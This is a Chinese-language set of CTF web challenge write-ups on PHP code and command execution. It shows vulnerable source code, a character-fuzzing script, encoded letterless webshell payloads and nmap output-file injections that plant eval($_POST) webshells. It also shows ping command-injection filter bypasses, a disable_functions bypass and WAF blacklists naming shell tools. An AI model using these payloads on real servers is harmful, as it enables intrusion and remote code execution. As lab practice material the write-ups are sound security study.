RCE
代码执行
[极客大挑战 2019]Knife 蚁剑
scandir函数:返沪指定目录中的文件和目录的数组s
scandir(directory,sorting_order,context);//语法
用var_dump+scandir函数 查看目录下的所有文件
Syc=var_dump(scandir('/'));
页面而背景颜色会覆盖代码执行的结果 提交请求后 查看源码
查看文件内容
file_get_contents()函数
Syc=var_dump(file_get_contents('/flag'));
得到flag
[SUCTF 2018]GetShell 无字母getshell
can you upload a shell?
文件名: 未选择任何文件
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);//从$contents变量中提取从第六个字符开始到文件末尾的所有内容
foreach ($black_char as $b) {stripos() 函数检查 $data 中是否包含 $black_char 数组中的当前元素 $b(不区分大小写)将返回字符首次出现的位置的索引 否则返回flase
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
文件内容前五位不检查 从第六位开始和之后的内容就会赋值给data 内容若是检测到黑名单输出illegal char
先fuzz 借鉴的其他师傅的脚本..
# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requests
def ascii_str():
str_list = []
for i in range(33, 127):
str_list.append(chr(i))
# print('可显示字符:%s'%str_list)
return str_list
def upload_post(url):
str_list = ascii_str()
for str in str_list:
header = {
'Host': 'e9ab07a6-3001-4707-b30d-d341616dca96.node5.buuoj.cn:81',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain'
}
post = '''------WebKitFormBoundaryglS8Ae30B1NgpSa0
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
123
------WebKitFormBoundaryglS8Ae30B1NgpSa0
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryglS8Ae30B1NgpSa0--'''
res = requests.post(url, data=post.encode('UTF-8'), headers=header)
if 'Stored' in res.text:
print("该字符可以通过: {0}".format(str))
else:
print("过滤字符: {0}".format(str))
if __name__ == '__main__':
url = 'http://e9ab07a6-3001-4707-b30d-d341616dca96.node5.buuoj.cn:81/index.php?act=upload'
upload_post(url)
过滤字符: !
过滤字符: "
过滤字符: #
过滤字符: $
过滤字符: %
过滤字符: &
过滤字符: '
过滤字符: (
过滤字符: )
过滤字符: *
过滤字符: +
过滤字符: ,
过滤字符: -
过滤字符: .
过滤字符: /
过滤字符: 0
过滤字符: 1
过滤字符: 2
过滤字符: 3
过滤字符: 4
过滤字符: 5
过滤字符: 6
过滤字符: 7
过滤字符: 8
过滤字符: 9
过滤字符: :
过滤字符: ;
过滤字符: <
过滤字符: =
过滤字符: >
过滤字符: ?
过滤字符: @
过滤字符: A
过滤字符: B
过滤字符: C
过滤字符: D
过滤字符: E
过滤字符: F
过滤字符: G
过滤字符: H
过滤字符: I
过滤字符: J
过滤字符: K
过滤字符: L
过滤字符: M
过滤字符: N
过滤字符: O
过滤字符: P
过滤字符: Q
过滤字符: R
过滤字符: S
过滤字符: T
过滤字符: U
过滤字符: V
过滤字符: W
过滤字符: X
过滤字符: Y
过滤字符: Z
过滤字符: [
过滤字符: \
过滤字符: ]
过滤字符: ^
过滤字符: _
过滤字符: `
过滤字符: a
过滤字符: b
过滤字符: c
过滤字符: d
过滤字符: e
过滤字符: f
过滤字符: g
过滤字符: h
过滤字符: i
过滤字符: j
过滤字符: k
过滤字符: l
过滤字符: m
过滤字符: n
过滤字符: o
过滤字符: p
过滤字符: q
过滤字符: r
过滤字符: s
过滤字符: t
过滤字符: u
过滤字符: v
过滤字符: w
过滤字符: x
过滤字符: y
过滤字符: z
过滤字符: {
过滤字符: |
过滤字符: }
过滤字符: ~
总结可通过的字符:$ () . ; = [] _~以及汉字
利用取反 获取可以字符
使用php短标签
<?=
$_=[];
$__=$_.$_;
$__=($_==$_);
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__]; //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__]; //_Post
$___($$____[~瞎[$__]]); //system($_POST[a]);
payload
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[~瞎[$__]]);
payload 作为txt文件内容 上传txt文件
访问环境变量得到flag
[GXYCTF2019]禁止套娃
只有一句“flag在哪里呢?”
源码抓包都没用
猜测是.git泄露(python2环境下运行)
只有index.php
index.php源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
过滤了伪协议 很多字符 get也不能用
构造payload
scandir列出目录中的文件和目录
current返回数组中的当前元素的值
localecnov() 函数返回一个包含本地数字及货币格式信息的数组
exp=print_r(scandir(current(localeconv())));
第一个元素是git 第二个元素是flag 第三个元素是index.php 所以可以利用反转函数array_reverse() 让指针指向第二个元素
exp=print_r(next(array_reverse(scandir(current(localeconv())))));
使用hightlighr_file()函数 使文件内容显现(包括密码和其他敏感信息)
[安洵杯 2019]easy_web
base64解码
Hex解码
555.png
同理 index.php 先Hex加密
696E6465782E706870696E6465782E706870
在base64加密 再加密
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
抓包 base64解码 查看源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
MD5强绕过
以POST的形式上传 a和b不能相等但是经过md5加密过后值相等
a,b值参考BUUCTF:[安洵杯 2019]easy_web
绕过姿势一
因为不知道flag的名字 所以无法得到
姿势二
找到两个MD5值相同 但是本事不相同的a和b 再将相同的MD5值url编码
fastcoll_v1.0.0.5.exe -p abc.txt -o 1.txt 2.txt
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("2.txt"));
echo "</br>";
ca\t flag
[HITCON 2017]SSRFme
perl脚本漏洞
源码
66.90.115.138<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {//_SERVER:服务器和执行环境信息
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//explode函数:把字符串打散为数组
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];//REMOTE_ADDR:代表客户端IP
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//创建沙盒文件夹 路径为 `sandbox/`加上`orangre66.90.115.138`的MD5值 和 页面输出的ip 在执行命令get参数的url
@mkdir($sandbox);//创建名为sandbox的沙盒目录,加上md5("orange" . $_SERVER["REMOTE_ADDR"])的值
@chdir($sandbox);//进入目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));//使用shell_exec函数执行一个GET请求,获取$_GET["url"]参数指定的URL的内容 escapeshellarg函数将输入的url转码 将我们输入的转换成可以被执行的字符串 方便bash执行
$info = pathinfo($_GET["filename"]);//pathinfo函数获取&_GET[“filename”]参数的以数组的形式返回文件路径信息
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);//创建名为$info["dirname"]的目录 其中.被替换为空字符
@chdir($dir);//进入目录
@file_put_contents(basename($info["basename"]), $data);//将获取到的数据写入一个文件,文件名为$info["basename"]
highlight_file(__FILE__);
![image-20240410205827998](buu RCE/image-20240410205827998.png)
file协议:本地文件传输协议 格式:file:///文件路径
file协议 利用open命令执行的前提是 要执行的文件夹存在 所以 先创建一个文件 在将结果写入文件夹
所以执行两遍?url=file:ls /|&filename=ls /|
这个命令
将orange66.90.115.138md5加密为 85ff2593d41f89a13a23d33524961d22
![image-20240410210819726](buu RCE/image-20240410210819726.png)
在访问文件 路径为/sandbox/85ff2593d41f89a13a23d33524961d22/ls /|
![image-20240410212125250](buu RCE/image-20240410212125250.png)
看到readflag
同理 运行两遍 ?url=file:bash -c /readflag|&filename=bash -c /readflag|
访问 /sandbox/85ff2593d41f89a13a23d33524961d22/bash -c /readflag|
![image-20240410212340878](buu RCE/image-20240410212340878.png)
注:| 是 分界符
[ISITDTU 2019]EasyPHP
源码
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
strlen函数:返回字符串长度
count_chars函数:返回字符串所用字符的信息
语法:cont_chars(string,mode)
本题count_hars(string,3):返回一个去重的字符串(是所有使用过的不同的字符)
strtolower函数:将 string 中所有的字母字符转换为小写并返回
0xd :ASCII码是指 回车
preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i'
[\x00- ]
- 这是一个字符类,匹配从\x00
(NULL字符)到空格的任意字符0-9
- 匹配任意数字\'"``$&.,|[{_defgops
- 这部分匹配提供的任何特定字符,包括单引号、双引号、美元符号、&符号、点、逗号、竖线、左方括号、左花括号、下划线以及在’d’到’g’和’o’到’p’之间的字母以及字母s\x7F
- 匹配DELETE字符(ASCII码为127)]+
- 表示前面的字符类可以匹配一次或多次/i
- 这个修饰符表示正则表达式匹配是不区分大小写的
匹配到以上字符就die
找了个脚本看看除了正则顾虑掉的 还有 哪些可以用
<?php
for($i=0;$i<=127;$i++){
if ( !preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i',chr($i)) ){
echo chr($i);
}
}
//!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~
第二个if
strlen(count_chars(strtolower($_), 0x3)) > 0xd
- 不能提交超过13种字符
可以利用取反编码绕过和异或绕过(没有过滤 ~
和 ^
)
^
(异或运算符)
~
取反运算符
url编码取反
![image-20240411211148528](buu RCE/image-20240411211148528.png)
?_=(~%8F%97%8F%96%91%99%90)();
![image-20240412203652100](buu RCE/image-20240412203652100.png)
可以看到没有屏蔽print_r函数scandir函数
构造
<?php
$_="print_r(scandir('.'));";
echo strlen(count_chars(strtolower($_),0x3));
// 15
总共有15个字符 除了必要字符() ^ ;
以外最多还可以有9个字符 所以还要删掉一部分
异或
用不可见字符相异或 异或出想要的字符
0xff默认是整形,一个byte跟0xff相与会先将byte转化为整形运算 运算结果结果会是我们想要的
为什么要和0xff异或:
0xff异或参考这篇文章
之所以用%ff是因为他用二进制表示为11111111,按位异或后得到的一定是相反的二进制数,再与其异或就又可以得到原二进制数
![image-20240411222012277](buu RCE/image-20240411222012277.png)
获取_GET的ASCII码
_GET分别对应着95 71 69 84 //ord('_')
使用0xff分别对其进行异或
结果为 0xa0b8baab
两次异或 得到_GET
![image-20240411222534348](buu RCE/image-20240411222534348.png)
回到本题
print_r用异或来表示(%ff没跑出来 不知道为啥)
![image-20240412205210961](buu RCE/image-20240412205210961.png)
正常结果跑出来应该是
%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff
scandir(.)用异或表示
![image-20240412205613321](buu RCE/image-20240412205613321.png)
%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff(%D1^%ff)
合起来
((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))((91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff(%D1^%ff)));
查找可以替代的字符 找的是出现次数较少的字符(用三个字母来代替)
知道字符的ascii码表的值 将三个字母进行异或 得到一个字符 进行替代
替代脚本(emmm ai写的)
def find_three_characters_for_xor(target_char):
target_byte = ord(target_char)
for i in range(97, 123): # 可打印字符的ASCII码范围
for j in range(97, 123):
for k in range(97, 123):
if i != target_byte and j != target_byte and k != target_byte: # 确保i、j和k不是目标字符
if i ^ j ^ k == target_byte:
return chr(i), chr(j), chr(k)
return None, None, None
# 目标字符a
s = 'a'
# 找到三个字符
char1, char2, char3 = find_three_characters_for_xor(s)
if char1 is not None:
print(f"The characters that XOR to '{s}' are: {char1}, {char2}, {char3}")
else:
print(f"No combination of three different characters found that XOR to '{s}'.")
得到
a = c^p^r
d = s^c^t
n = i^s^t
用 c p r s t i 分别和%ff进行异或
![image-20240412211844981](buu RCE/image-20240412211844981.png)
c=%9C
p=%8F
s=%8C
t=%8B
i=%96
r=%8D
所以 print_r(scandir(.))可以表示为
有个问题 为什么多了好几个异或 这个几个异或有点费解
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
![image-20240413101919986](buu RCE/image-20240413101919986.png)
Array ( [0] => index.php [1] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )
使用end()可以返回数组的最后一项
end()函数 将数组内部指针指向最后一个元素,并返回该元素的值
![image-20240413102212447](buu RCE/image-20240413102212447.png)
构造 readfile(end(scandir(.)))
再次寻找可以被替换的字符
r = s^d^e
f = c^l^i
n = c^l^a
分别和0xff异或
![image-20240413104617442](buu RCE/image-20240413104617442.png)
d = %9B
e = %9A
l = %93
a = %9E
readfile用异或表示
![image-20240413104917557](buu RCE/image-20240413104917557.png)
(%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)
end用异或表示
(%9A%91%9B)^(%ff%ff%ff)
readfile(end(scandir(.)))
表示为
老问题 为什么合起来是这个样子 多了好几个异或
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
![image-20240413105512976](buu RCE/image-20240413105512976.png)
get到一个查看有哪些函数提价是可以使用的脚本
$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
![image-20240411201915302](buu RCE/image-20240411201915302.png)
命令执行
ACTF2020 新生赛]Exec 基础的命令执行
![image-20240413145057673](buu RCE/image-20240413145057673.png)
ping的题猜测是 远程命令执行
127.0.0.1;ls
![image-20240413145209431](buu RCE/image-20240413145209431.png)
看到index.php 在linux系统里 显示网页的路径是/var/www/html
所以index.php在这个路径里
127.0.0.1;cd /;ls
![image-20240413145431133](buu RCE/image-20240413145431133.png)
没有flag 并且发现 ;
和空格没有被过滤
127.0.0.1;cd /;cat flag
![image-20240413145745479](buu RCE/image-20240413145745479.png)
得到flag
[BUUCTF]Easybypass 很少的过滤
源码
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
cannot open `' (No such file or directory) cannot open `' (No such file or directory)
看源码 能知道一些过滤 看到comm2 不仅过滤了cat还过滤了tac 所以用comm1 传参
![image-20240413151737573](buu RCE/image-20240413151737573.png)
看到 flag在/flag里
只需要绕过正则就可以
用tac代替cat fla?代替flag(?代表一个字符)
![image-20240413151206712](buu RCE/image-20240413151206712.png)
表示 正则后面拼上 “
在接上file 然后执行命令
![image-20240413152030502](buu RCE/image-20240413152030502.png)
得到flag
[GXYCTF2019]Ping Ping Ping
![image-20240413152219474](buu RCE/image-20240413152219474.png)
看到ip 再加上ping
访问127.0.0.1 访问成功 进一步查看目录
![image-20240413152441911](buu RCE/image-20240413152441911.png)
看到flag.php 但是无法访问
![image-20240413152554448](buu RCE/image-20240413152554448.png)
但是无法访问 猜测有过滤
做一下fuzz
![image-20240413153028264](buu RCE/image-20240413153028264.png)
![image-20240413152956421](buu RCE/image-20240413152956421.png)
![image-20240413153211043](buu RCE/image-20240413153211043.png)
![image-20240413153245726](buu RCE/image-20240413153245726.png)
![image-20240413153325519](buu RCE/image-20240413153325519.png)
发现过滤了空格和flag
这写特殊字符
空格绕过 (可以用以下 字符代替空格)
<
${<!-- -->IFS}
$IFS$9
%09
flag 可以采取拼接绕过
fl\ag
失败
![image-20240413154102163](buu RCE/image-20240413154102163.png)
尝试访问index.php
![image-20240413154421373](buu RCE/image-20240413154421373.png)
访问失败 才发现 <
也被过滤了
![image-20240413154337344](buu RCE/image-20240413154337344.png)
换一个过滤 发现除了 $IFS$9
其他能代替空格的都被过滤了
![image-20240413154600798](buu RCE/image-20240413154600798.png)
index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
得知:如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤)
![image-20240413155221122](buu RCE/image-20240413155221122.png)
$a = shell_exec("ping -c 4 ".$ip);//只能输入四个字符
![image-20240413155712005](buu RCE/image-20240413155712005.png)
最后 输出源代码 并且将变量a所表示的数据打印出来 所以可以使用拼接
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
执行后点击查看网页源代码 得到flag
![image-20240413160651072](buu RCE/image-20240413160651072.png)
[BUUCTF 2018]Online Tool escapeshellarg()和escapeshellcmd() 在一起会有问题
源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
![image-20240413161813412](buu RCE/image-20240413161813412.png)
生成了一个sandbox目录的名称 目录的名称为'glzjin'和$_SERVER['REMOTE_ADDR'](客户端的ip地址)的md5值
代码使用system()
函数执行了nmap
命令,该命令用于扫描host
参数指定的目标主机。nmap
命令的参数包括![image-20240413161854367](buu RCE/image-20240413161854367.png)
escapeshellarg()和escapeshellcmd()函数 按照先..arg在..cmd的顺序使用 会产生漏洞
escapeshellarg函数:把字符串转码为可以在设立了命令里使用的参数
功能:将字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
确保能够直接将一个字符串传入shell函数 设立了函数包括exec(),system()和反引号`
escapeshellcmd函数对字符串中可能会欺骗shell 命令执行任意命令的字符进行转
保证用户输入的数据在传送到wxec()或ysytem()函数 或者执行操符前转义
&#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
再利用nmap命令的 -oG
参数将命令和结果都写入一个文件里 从而实现一句话木马
构造payload
?host=' <?php @eval($_POST["a"]);?> -oG hi.php '
![image-20240413173515747](buu RCE/image-20240413173515747.png)
蚁剑链接
http://40455a38-4045-4e99-acf7-8616c1405691.node5.buuoj.cn:81/0eb22488dd8a3205dac7de0d1d34ee9a/hi.php
![image-20240413173446136](buu RCE/image-20240413173446136.png)
![image-20240413174339008](buu RCE/image-20240413174339008.png)
得到flag
[网鼎杯 2020 朱雀组]Nmap
![image-20240413172051052](buu RCE/image-20240413172051052.png)
是nmap工具的题,nmap工具是用来扫描网络的,一般会拿来扫目标主机的端口或操作系统之类的
nmap命令将扫描结果保存在文件里
测试一下
nmap命令:
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
![image-20240413193119476](buu RCE/image-20240413193119476.png)
查看源码 发现flag在/flag里
![image-20240413171832462](buu RCE/image-20240413171832462.png)
测试127.0.0.1 得到
![image-20240413172317516](buu RCE/image-20240413172317516.png)
本地测试nmap命令
![image-20240413172526947](buu RCE/image-20240413172526947.png)
发现和在页面测试效果一样
构造shell
'<?php eval($_POST["pwd"]);?> -oG hi.php'
![image-20240413193931943](buu RCE/image-20240413193931943.png)
![image-20240413193942417](buu RCE/image-20240413193942417.png)
发现被拦截 猜测是将php
关键字过滤了或者是 oG
被过滤了
先测试绕过 php
修改后缀php
为phtml
<?php
改为短标签 <?=
'<?= @eval(_POST['a']);?> -oG hi.phtml'
![image-20240413194345799](buu RCE/image-20240413194345799.png)
发现 传入成功 访问hi.phtml 传入参数
![image-20240413194936414](buu RCE/image-20240413194936414.png)
接着执行命令 得到flag
![image-20240413195108900](buu RCE/image-20240413195108900.png)
[极客大挑战 2019]RCE ME 无字母getshell,同时进行disable_function绕过
源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){//strlen函数用于计算字符串长度
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
看完源码 发现 code传入的长度不能超过40 还正则匹配掉一些字符
可以利用取反异或来绕过
采用取反绕过
<?php
$c='phpinfo';
$d=urlencode(~$c);
echo $d;
结果
%8F%97%8F%96%91%99%90
传入参数
?code=(~%8F%97%8F%96%91%99%90)();
![image-20240413200710908](buu RCE/image-20240413200710908.png)
发现禁用了很多函数 接着传参
构造 <?php assert(eval($_POST[1])); ?>
为什么用assert函数不直接用eval构造是因为eval不是php函数 无法通过变量函数的方法直接调用 所以要用assert函数来调用 但是因为版本问题 所以不能构造 <?php assert($_POST[1]); ?>
所以要构造 <?php assert(eval($_POST[1])); ?>
![image-20240413200959994](buu RCE/image-20240413200959994.png)
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
传参 蚁剑连接
![image-20240413202419424](buu RCE/image-20240413202419424.png)
![image-20240413202529845](buu RCE/image-20240413202529845.png)
因为禁用了一些函数 所以需要绕过
两种方法 想选择 使用插件绕过 但是出了点小问题
第一种 上传bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php)
![image-20240413211305343](buu RCE/image-20240413211305343.png)
![image-20240413211340064](buu RCE/image-20240413211340064.png)
在构造 ?code=${GET}_;&=assert&_=eval($_POST['a'])
使用异或绕过
payload
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
![image-20240413211553580](buu RCE/image-20240413211553580.png)
得到flag
第二种 使用插件绕过(但是我的一直在获取数据 所以先记录一下)
![image-20240413210653992](buu RCE/image-20240413210653992.png)
在插件市场
![image-20240413210804980](buu RCE/image-20240413210804980.png)
选择PHP_GC_UAF模式
![image-20240413210835371](buu RCE/image-20240413210835371.png)
然后回进入到一个虚拟shell模式,输入/readflag,得到flag
![image-20240413210914024](buu RCE/image-20240413210914024.png)
[FBCTF2019]RCEService 正则字符串回溯绕过
![image-20240413212832556](buu RCE/image-20240413212832556.png)
随便传上去点啥 看到url里显示cmd 再加上json格式
json文件格式:一定要用双引号括起来
猜测是{"cmd":"ls"}
![image-20240413213021765](buu RCE/image-20240413213021765.png)
构造 {"cmd":"cat index.php"}
感觉是被过滤了 过滤了很多命令比如 /
cat
![image-20240413214141210](buu RCE/image-20240413214141210.png)
看wp感觉不是比赛给的源码 但是确实输入命令 {%0a"cmd":"/bin/cat *"%0a}
拿不到源码
index.php
过滤了很多东西
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
看源码发现 为了避免调用系统命令,改变了系统环境变量
用不了cat 也是因为这个环境下没有二进制文件 所以需要用/bin/cat 来调用cat命令
![image-20240413215308437](buu RCE/image-20240413215308437.png)
方法一
%0a换行符绕过
从上边的源码可以知道 路径为/home/rceservice/jail
?cmd={%0a"cmd":"ls /home/rceservice"%0a}
![image-20240413220408046](buu RCE/image-20240413220408046.png)
?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
![image-20240413215233829](buu RCE/image-20240413215233829.png)
得到flag
方法二 正则最大回溯
要用POST传参 因为GET会因为header太大而报错
用preg_match的回溯限制,长度为一百万,来绕过preg_match,因为当preg_match匹配的字符串太长的时候就会返回false,也就是数据溢出
![image-20240413221824427](buu RCE/image-20240413221824427.png)
得到flag
[红明谷CTF 2021]write_shell
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
看到代码有waf和上传文件功能
正则匹配 _,php,~,^,空格
